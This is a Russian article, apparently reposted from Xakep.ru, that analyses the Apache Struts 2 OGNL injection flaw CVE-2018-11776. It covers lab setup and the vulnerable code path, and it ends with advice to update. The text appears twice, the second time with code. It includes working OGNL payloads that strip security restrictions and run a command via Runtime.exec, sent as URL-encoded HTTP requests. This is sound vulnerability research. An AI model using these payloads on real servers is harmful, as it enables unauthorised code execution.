Пространство для эксплуатации. Как работает новая RCE-уязвимость в Apache Struts 2
Во фреймворке Apache Struts 2, виновном в утечке данных у Equifax, нашли очередную дыру. Она позволяет злоумышленнику, не имея никаких прав в системе, выполнить произвольный код от имени того пользователя, от которого запущен веб-сервер. Давай посмотрим, как эксплуатируется эта уязвимость.
В 2017 году мы рассмотрели две уязвимости в Struts 2, обе из которых приводили к выполнению произвольного кода в системе. Одна была связана с реализацией REST API, а другая как раз с парсингом языка OGNL (кстати, именно она и подвела Equifax).
Баг обнаружил исследователь Мань Юэ Мо (Man Yue Mo) из Semmle Security Research team 10 апреля 2018 года. Под угрозой оказались все версии фреймворка до 2.3.34 и 2.5.16 включительно. Атакующий может внедрить собственный namespace в приложение с помощью параметра в HTTP-запросе. При этом он никак не фильтруется приложением Struts и может быть произвольной строкой, которая затем попадает в парсер языковых конструкций OGNL (Object-Graph Navigation Language). А это прямая дорога к RCE.
Уязвимость получила внутренний идентификатор S2-057 (CVE-2018-11776) и статус критической. Давай разбираться, какие промахи допустили разработчики на этот раз.
Стенд
Один из немногих случаев, когда поднятие стенда на Java не представляет никаких проблем. В качестве веб-сервера я буду использовать Apache Tomcat версии 8.5.20 для Windows. Фреймворк возьму последней уязвимой версии ветки 2.3 — 2.3.34. Скачать ее можно с официального сервера архивных версий.
В архиве нас будет интересовать только файл struts2-showcase.war из папки apps. По сути, это тот же архив в формате ZIP. Просто распакуй его в директорию webapps/struts2-showcase.
Это почти все приготовления. Осталось только создать комфортные условия для тестирования уязвимости. Для этого отредактируем содержимое файла struts-actionchaining.xml из директории struts2-showcase/WEB-INF/classes.
После этого запускаем сервер, переходим по адресу
и наблюдаем приветственную страницу с примерами использования Struts 2.
Готовый к экспериментам стенд с Apache Struts 2.3.34
Если у тебя Linux, то рекомендую взять Docker и поднять стенд одной командой:
После этого не забудь отредактировать файл /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts-actionchaining.xml и перезапустить Tomcat.
Возникло желание немного подебажить? Тогда твой выбор — IntelliJ IDEA. Просто открой папку с исходниками (/struts-2.3.34/src), в ней и настрой запуск сервера с приложением Showcase через Maven.
Конфигурация запуска приложения Struts 2 Showcase в IntelliJ IDEA
Дальше можешь выбирать пункт Debug из меню Run, ставить брейки и дебажить как тебе вздумается.
Детали уязвимости
Существует несколько кейсов, при которых возможна эксплуатация уязвимости. Первый из них — когда опция alwaysSelectFullNamespace установлена в true. Такую настройку, например, использует очень популярный плагин для Struts под названием Convention.
/plugins/convention/src/main/resources/struts-plugin.xml
Если твое приложение использует этот плагин, значит, оно уязвимо. Struts Showcase его использует.
/struts2-showcase/META-INF/maven/org.apache.struts/struts2-showcase/pom.xml
Второй вариант — если приложение использует действия (actions), которые сконфигурированы без указания конкретного пространства имен (namespace), или использует в качестве него символы подстановки (/*). Это относится не только к действиям, определенным внутри конфигурационных файлов Struts, но и к пространству имен, используемых непосредственно в исходном коде. Помнишь, во время поднятия стенда мы изменяли файл struts-actionchaining.xml? Тем самым мы создали условия для возможной атаки.
/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml
Существует несколько типов тега result, которые уязвимы, если использовать их без указания пространства имен:
Использование типа redirectAction в теге result. Редирект на указанный экшен
Это поведение обрабатывается классом ServletActionRedirectResult. Он имплементирует метод execute, который отрабатывает при каждом вызове действия.
/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
Обрати внимание на работу с пространством имен. Если оно не указано для экшена, на который происходит редирект, то выполняется конструкция invocation.getProxy().getNamespace(). Она получает namespace из родительского экшена, который вызывает comehere.
Отладка метода execute класса ServletActionRedirectResult
Так как наш метод — корневой, то и namespace будет равен /. Теперь попробуем сделать вызов вида custom/actionChain1.action.
Манипулирование пространством имен с помощью URI
Приложение думает, что custom — это тоже экшен, и использует его в пространстве имен при формировании редиректа. Посмотрим, что происходит с ним дальше по коду.
/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
Отладка метода getUriFromActionMapping
Далее полученная строка отправляется в setLocation в качестве аргумента.
/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
org/apache/struts2/dispatcher/StrutsResultSupport.java
И наконец, вызывается метод execute из родительского класса StrutsResultSupport.
/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
/org/apache/struts2/dispatcher/StrutsResultSupport.java
Теперь наша строка отправляется в conditionalParse.
/org/apache/struts2/dispatcher/StrutsResultSupport.java
Вызов conditionalParse из родительского класса StrutsResultSupport
Затем строка направляется в TextParseUtil.translateVariables.
/com/opensymphony/xwork2/util/TextParseUtil.java
Отладка метода translateVariables
Этот метод парсит строку, и если в ней обнаружены языковые выражения OGNL, то они выполняются через OgnlTextParser. Признаком таких выражений служат конструкции вида ${} или %{}. Давай отправим вместо custom OGNL c простым математическим действием — ${31337+1337}.
Отладка метода translateVariables
После всего путешествия наша строка приземляется в evaluator.evaluate, где выполняется указанное нами выражение.
/com/opensymphony/xwork2/util/OgnlTextParser.java
Внедрение OGNL-выражений в Struts 2
Результатом будет число 32 674. В итоге получается URI /32674/comehere.action, и строка попадает в метод doExecute.
/org/apache/struts2/dispatcher/StrutsResultSupport.java
Успешное выполнение внедренного OGNL-выражения в Struts 2
И происходит редирект на данный URL.
Редирект на результат внедренного выражения OGNL
По сути, здесь мы имеем удаленное выполнение произвольного кода. Чтобы это провернуть, используем готовую полезную нагрузку для запуска калькулятора.
Сначала включаем возможность вызова статичных методов в контексте выражений OGNL. Затем выполняем команду при помощи стандартного java.lang.Runtime.exec.
Выполнение произвольного кода в Struts 2.3.34
Это все отлично работает до тех пор, пока мы отлаживаем приложение. А вот в продакшене некоторые потенциально опасные классы запрещены к выполнению в целях безопасности. Одним из первых в их ряду стоит java.lang.Runtime. Тогда пейлоад превращается вот в такого монстра:
Здесь сначала очищается список запрещенных для вызова классов, а затем уже выполняется код.
Аналогична эксплуатация с остальными двумя типами result — postback и chain. Можешь сам проверить, конфиги выглядят примерно так же.
Помимо варианта с разными типами result, есть еще одна возможность эксплуатации уязвимости — когда используются теги s:url. Если страница с ними вызывается через packages, у которых пространство имен не указано, то здесь попахивает RCE. Рассмотрим на примере.
Страница showcase.jsp выводится по умолчанию — например, всякий раз, когда пытаешься обратиться к несуществующему экшену.
/src/apps/showcase/src/main/resources/struts.xml
Добавим в нее строку <s:url/>.
/src/apps/showcase/src/main/webapp/WEB-INF/showcase.jspshowcase.jsp
Добавляем вывод текущего URI страницы в Struts 2 Showcase
Теперь воспользуемся нашим расширенным пейлоадом, только здесь нужно взять конструкцию вида %{}.
И когда дело дойдет до вывода текущего URL, код выполнится, и перед нами предстанет окно калькулятора.
Выполнение произвольного кода в Struts 2 при использовании тегов s:url
Демонстрация уязвимости (видео)
Выводы
Уязвимости с попаданием пользовательских данных в парсер OGNL все продолжают преследовать фреймворк Struts 2. Одна из них — S2-045 (CVE-2017-5638) — уже стоилапримерно 500 тысяч фунтов. Будем надеяться, что в последних патчах разработчики учли все нюансы и проблем такого типа теперь на порядок меньше. Так что поспеши обновиться на новые версии. На момент написания статьи это 2.5.17 и 2.3.35.
Также рекомендую прочитать сам репорт Маня Юэ Мо на LGTM. В нем он подробно рассказывает, как с помощью анализа подобных уязвимостей и нескольких запросов на языке Semmle QL удалось обнаружить описанную проблему в коде.
автор aLLy, взял с хакер.ру
Во фреймворке Apache Struts 2, виновном в утечке данных у Equifax, нашли очередную дыру. Она позволяет злоумышленнику, не имея никаких прав в системе, выполнить произвольный код от имени того пользователя, от которого запущен веб-сервер. Давай посмотрим, как эксплуатируется эта уязвимость.
В 2017 году мы рассмотрели две уязвимости в Struts 2, обе из которых приводили к выполнению произвольного кода в системе. Одна была связана с реализацией REST API, а другая как раз с парсингом языка OGNL (кстати, именно она и подвела Equifax).
Баг обнаружил исследователь Мань Юэ Мо (Man Yue Mo) из Semmle Security Research team 10 апреля 2018 года. Под угрозой оказались все версии фреймворка до 2.3.34 и 2.5.16 включительно. Атакующий может внедрить собственный namespace в приложение с помощью параметра в HTTP-запросе. При этом он никак не фильтруется приложением Struts и может быть произвольной строкой, которая затем попадает в парсер языковых конструкций OGNL (Object-Graph Navigation Language). А это прямая дорога к RCE.
Уязвимость получила внутренний идентификатор S2-057 (CVE-2018-11776) и статус критической. Давай разбираться, какие промахи допустили разработчики на этот раз.
Стенд
Один из немногих случаев, когда поднятие стенда на Java не представляет никаких проблем. В качестве веб-сервера я буду использовать Apache Tomcat версии 8.5.20 для Windows. Фреймворк возьму последней уязвимой версии ветки 2.3 — 2.3.34. Скачать ее можно с официального сервера архивных версий.
В архиве нас будет интересовать только файл struts2-showcase.war из папки apps. По сути, это тот же архив в формате ZIP. Просто распакуй его в директорию webapps/struts2-showcase.
Это почти все приготовления. Осталось только создать комфортные условия для тестирования уязвимости. Для этого отредактируем содержимое файла struts-actionchaining.xml из директории struts2-showcase/WEB-INF/classes.
Код:
[B]/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml[/B]
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">comehere</param>
</result>
</action>
</package>
</struts>
Код:
http://127.0.0.1:8080/struts2-showcase/index.action
Готовый к экспериментам стенд с Apache Struts 2.3.34
Если у тебя Linux, то рекомендую взять Docker и поднять стенд одной командой:
Код:
$ docker run -d -p 8080:8080 vulhub/struts2:2.3.34-showcase
Возникло желание немного подебажить? Тогда твой выбор — IntelliJ IDEA. Просто открой папку с исходниками (/struts-2.3.34/src), в ней и настрой запуск сервера с приложением Showcase через Maven.
Конфигурация запуска приложения Struts 2 Showcase в IntelliJ IDEA
Дальше можешь выбирать пункт Debug из меню Run, ставить брейки и дебажить как тебе вздумается.
Детали уязвимости
Существует несколько кейсов, при которых возможна эксплуатация уязвимости. Первый из них — когда опция alwaysSelectFullNamespace установлена в true. Такую настройку, например, использует очень популярный плагин для Struts под названием Convention.
/plugins/convention/src/main/resources/struts-plugin.xml
Код:
...
<struts order="20">
...
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true"/>
...
/struts2-showcase/META-INF/maven/org.apache.struts/struts2-showcase/pom.xml
Код:
...
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-convention-plugin</artifactId>
</dependency>
...
/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml
Код:
...
<result type="redirectAction">
<param name = "actionName">comehere</param>
</result>
...
- redirectAction — указывает, что после выполнения текущего экшена нужно передать управление на другой;
- postback — тип результата, отображает текущие параметры запроса в виде формы, которая передает данные в указанное место назначения;
- chain — используется, когда необходимо объединить несколько экшенов в одну последовательную цепочку, результат которой передать пользователю.
Код:
GET /struts2-showcase/actionChain1.action HTTP/1.1
Host: struts.vh:8080
Connection: close
Использование типа redirectAction в теге result. Редирект на указанный экшен
Это поведение обрабатывается классом ServletActionRedirectResult. Он имплементирует метод execute, который отрабатывает при каждом вызове действия.
/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
Код:
128: public class ServletActionRedirectResult extends ServletRedirectResult implements ReflectionExceptionHandler {
...
165: public void execute(ActionInvocation invocation) throws Exception {
166: actionName = conditionalParse(actionName, invocation);
167: if (namespace == null) {
168: namespace = invocation.getProxy().getNamespace();
169: } else {
170: namespace = conditionalParse(namespace, invocation);
171: }
Отладка метода execute класса ServletActionRedirectResult
Так как наш метод — корневой, то и namespace будет равен /. Теперь попробуем сделать вызов вида custom/actionChain1.action.
Код:
GET /struts2-showcase/custom/actionChain1.action HTTP/1.1
Host: struts.vh:8080
Connection: close
Манипулирование пространством имен с помощью URI
Приложение думает, что custom — это тоже экшен, и использует его в пространстве имен при формировании редиректа. Посмотрим, что происходит с ним дальше по коду.
/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
Код:
178: String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null));
Метод getUriFromActionMapping возвращает текущий URI до экшена, на который делаем редирект. Он извлекается из экземпляра объекта ActionMapping.
[B]/org/apache/struts2/dispatcher/mapper/DefaultActionMapper.java[/B]
487: public String getUriFromActionMapping(ActionMapping mapping) {
488: StringBuilder uri = new StringBuilder();
489:
490: handleNamespace(mapping, uri);
491: handleName(mapping, uri);
492: handleDynamicMethod(mapping, uri);
493: handleExtension(mapping, uri);
494: handleParams(mapping, uri);
495:
496: return uri.toString();
497: }
Далее полученная строка отправляется в setLocation в качестве аргумента.
/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
Код:
178: String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null));
179:
180: setLocation(tmpLocation);
Код:
106: public abstract class StrutsResultSupport implements Result, StrutsStatics {
...
143: public void setLocation(String location) {
144: this.location = location;
145: }
/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
Код:
165: public void execute(ActionInvocation invocation) throws Exception {
...
180: setLocation(tmpLocation);
181:
182: super.execute(invocation);
183: }
Код:
106: public abstract class StrutsResultSupport implements Result, StrutsStatics {
...
189: public void execute(ActionInvocation invocation) throws Exception {
190: lastFinalLocation = conditionalParse(location, invocation);
/org/apache/struts2/dispatcher/StrutsResultSupport.java
Код:
201: protected String conditionalParse(String param, ActionInvocation invocation) {
202: if (parse && param != null && invocation != null) {
203: return TextParseUtil.translateVariables(
204: param,
205: invocation.getStack(),
206: new EncodingParsedValueEvaluator());
207: } else {
208: return param;
209: }
210: }
Вызов conditionalParse из родительского класса StrutsResultSupport
Затем строка направляется в TextParseUtil.translateVariables.
/com/opensymphony/xwork2/util/TextParseUtil.java
Код:
38: public class TextParseUtil {
...
73: public static String translateVariables(String expression, ValueStack stack, ParsedValueEvaluator evaluator) {
74: return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, evaluator).toString();
75: }
Отладка метода translateVariables
Этот метод парсит строку, и если в ней обнаружены языковые выражения OGNL, то они выполняются через OgnlTextParser. Признаком таких выражений служат конструкции вида ${} или %{}. Давай отправим вместо custom OGNL c простым математическим действием — ${31337+1337}.
Код:
GET /struts2-showcase/actionChain1.action HTTP/1.1
Host: struts.vh:8080
Connection: close
Отладка метода translateVariables
После всего путешествия наша строка приземляется в evaluator.evaluate, где выполняется указанное нами выражение.
/com/opensymphony/xwork2/util/OgnlTextParser.java
Код:
08: public class OgnlTextParser implements TextParser {
...
10: public Object evaluate(char[] openChars, String expression, TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) {
...
13: Object result = expression = (expression == null) ? "" : expression;
...
46: if ((start != -1) && (end != -1) && (count == 0)) {
47: String var = expression.substring(start + 2, end);
48:
49: Object o = evaluator.evaluate(var);
Внедрение OGNL-выражений в Struts 2
Результатом будет число 32 674. В итоге получается URI /32674/comehere.action, и строка попадает в метод doExecute.
/org/apache/struts2/dispatcher/StrutsResultSupport.java
Код:
189: public void execute(ActionInvocation invocation) throws Exception {
...
191: doExecute(lastFinalLocation, invocation);
192: }
Успешное выполнение внедренного OGNL-выражения в Struts 2
И происходит редирект на данный URL.
Редирект на результат внедренного выражения OGNL
По сути, здесь мы имеем удаленное выполнение произвольного кода. Чтобы это провернуть, используем готовую полезную нагрузку для запуска калькулятора.
Код:
${(#dma=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#ct.setMemberAccess(#dma)).(@java.lang.Runtime@getRuntime().exec("calc"))}
Выполнение произвольного кода в Struts 2.3.34
Это все отлично работает до тех пор, пока мы отлаживаем приложение. А вот в продакшене некоторые потенциально опасные классы запрещены к выполнению в целях безопасности. Одним из первых в их ряду стоит java.lang.Runtime. Тогда пейлоад превращается вот в такого монстра:
Код:
${(#dma=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dma)).(#cmd=@java.lang.Runtime@getRuntime().exec("calc"))}
Аналогична эксплуатация с остальными двумя типами result — postback и chain. Можешь сам проверить, конфиги выглядят примерно так же.
Код:
<result type="postback">
<param name = "actionName">backhere</param>
</result>
<result type="chain">
<param name = "actionName">chainhere</param>
</result>
Страница showcase.jsp выводится по умолчанию — например, всякий раз, когда пытаешься обратиться к несуществующему экшену.
/src/apps/showcase/src/main/resources/struts.xml
Код:
<struts>
...
<package name="default" extends="struts-default">
...
<default-action-ref name="showcase" />
<action name="showcase">
<result>/WEB-INF/showcase.jsp</result>
</action>
...
/src/apps/showcase/src/main/webapp/WEB-INF/showcase.jspshowcase.jsp
Код:
14: <body>
15: <div class="container-fluid">
16: <div class="row-fluid">
17: <div class="span12">
18:
19: <div class="hero-unit">
...
23: </div>
24: Current URI: <s:url />
25: </div>
26: </div>
27: </div>
Добавляем вывод текущего URI страницы в Struts 2 Showcase
Теперь воспользуемся нашим расширенным пейлоадом, только здесь нужно взять конструкцию вида %{}.
Код:
GET /struts2-showcase/%25%7B%28%23dma%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dma%29%29.%28%23cmd%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%22calc%22%29%29%7D/notfound HTTP/1.1
Host: struts.vh:8080
Connection: close
Выполнение произвольного кода в Struts 2 при использовании тегов s:url
Демонстрация уязвимости (видео)
Выводы
Уязвимости с попаданием пользовательских данных в парсер OGNL все продолжают преследовать фреймворк Struts 2. Одна из них — S2-045 (CVE-2017-5638) — уже стоилапримерно 500 тысяч фунтов. Будем надеяться, что в последних патчах разработчики учли все нюансы и проблем такого типа теперь на порядок меньше. Так что поспеши обновиться на новые версии. На момент написания статьи это 2.5.17 и 2.3.35.
Также рекомендую прочитать сам репорт Маня Юэ Мо на LGTM. В нем он подробно рассказывает, как с помощью анализа подобных уязвимостей и нескольких запросов на языке Semmle QL удалось обнаружить описанную проблему в коде.
автор aLLy, взял с хакер.ру